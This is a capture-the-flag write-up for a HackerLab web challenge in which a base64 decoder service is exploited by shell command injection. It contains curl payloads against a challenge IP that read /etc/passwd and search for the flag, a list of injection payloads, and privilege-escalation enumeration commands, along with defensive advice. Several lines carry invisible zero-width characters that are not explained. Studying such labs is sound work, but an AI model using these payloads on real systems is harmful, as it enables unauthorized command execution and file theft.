B64Decoder

Platform: HackerLab | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2025-12-19 | Status: Solved Techniques: Command Injection via $() substitution, Output encoding bypass via base64

Summary

Task: Base64 decoder web service. Solution: Command injection via $() substitution, encoding output in base64 to bypass filtering.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn

Enumeration highlights

• Event: hackerlab | ID: 20251219_hackerlab_b64decoder
• Tags: command_injection, rce, php, shell_injection, base64, apache
• Indicators: Service decodes base64 via shell command, Quotes in input cause error (textarea not displayed), Apache server, Form with POST parameter base64
• Source: 20251219_hackerlab_b64decoder.md

Foothold

Vulnerability / Misconfiguration

1. Command Injection via $() substitution
2. Output encoding bypass via base64

<command>

Exploitation

• See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

1. N/A for challenge-type writeup; see exploitation above.
2. Flag obtained via challenge solve.

<command>

Flags

Key Takeaways / Lessons

• Command Injection via $() substitution
• Output encoding bypass via base64
• Tags: command_injection, rce, php, shell_injection, base64, apache

Original Writeup

<details><summary>Click to expand original content</summary>

Description

Я запустил небольшой онлайн-сервис по декодированию base64-строк. Проверь работоспособность.

URL: http://62.173.140.174:16100/

Analysis

Reconnaissance

1. Simple web service with a form for decoding base64
2. Server: Apache
3. Form sends POST request with base64 parameter

Vulnerability Discovery

During testing, the following was discovered:

1. Normal base64 (dGVzdA== = "test") — works correctly
2. Quotes (" or ') in parameter — textarea not displayed (error) ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

This is a classic sign of Command Injection — the service uses a shell command for decoding:

# Assumed command on server:
echo "$input" | base64 -d

Quotes break the shell command syntax, confirming the vulnerability.

Solution

Command Injection Exploitation

Using $() to execute arbitrary commands. Trick: encode command output in base64 so it gets correctly decoded by the service.

# Payload: $(cat /etc/passwd | base64)
# Server executes: echo "$(cat /etc/passwd | base64)" | base64 -d
# Result: contents of /etc/passwd in textarea

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

RCE Verification

curl -s -X POST http://62.173.140.174:16100/ \
  --data-urlencode 'base64=$(cat /etc/passwd | base64)'

Result: contents of /etc/passwd displayed in textarea.

Finding the Flag

curl -s -X POST http://62.173.140.174:16100/ \
  --data-urlencode 'base64=$(grep -r "CODEBY" /var/www/ 2>/dev/null | base64)'

Result:

/var/www/fl4g.txt:CODEBY{REDACTED}

Useful Payloads for Command Injection

# Via $() — command substitution
$(whoami)
$(cat /etc/passwd)
$(ls -la)
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# Via backticks
`whoami`
`cat /etc/passwd`

# Via ; — command chaining
; whoami
; cat /etc/passwd

# Via | — pipe
| whoami
| cat /etc/passwd

# Via && or ||
&& whoami
|| whoami

Defense

1. Never pass user input to shell commands
2. Use library functions instead of shell (e.g., base64_decode() in PHP)
3. If shell is necessary — use escapeshellarg() / escapeshellcmd()
4. Whitelist validation of input data ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

</details>

---

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR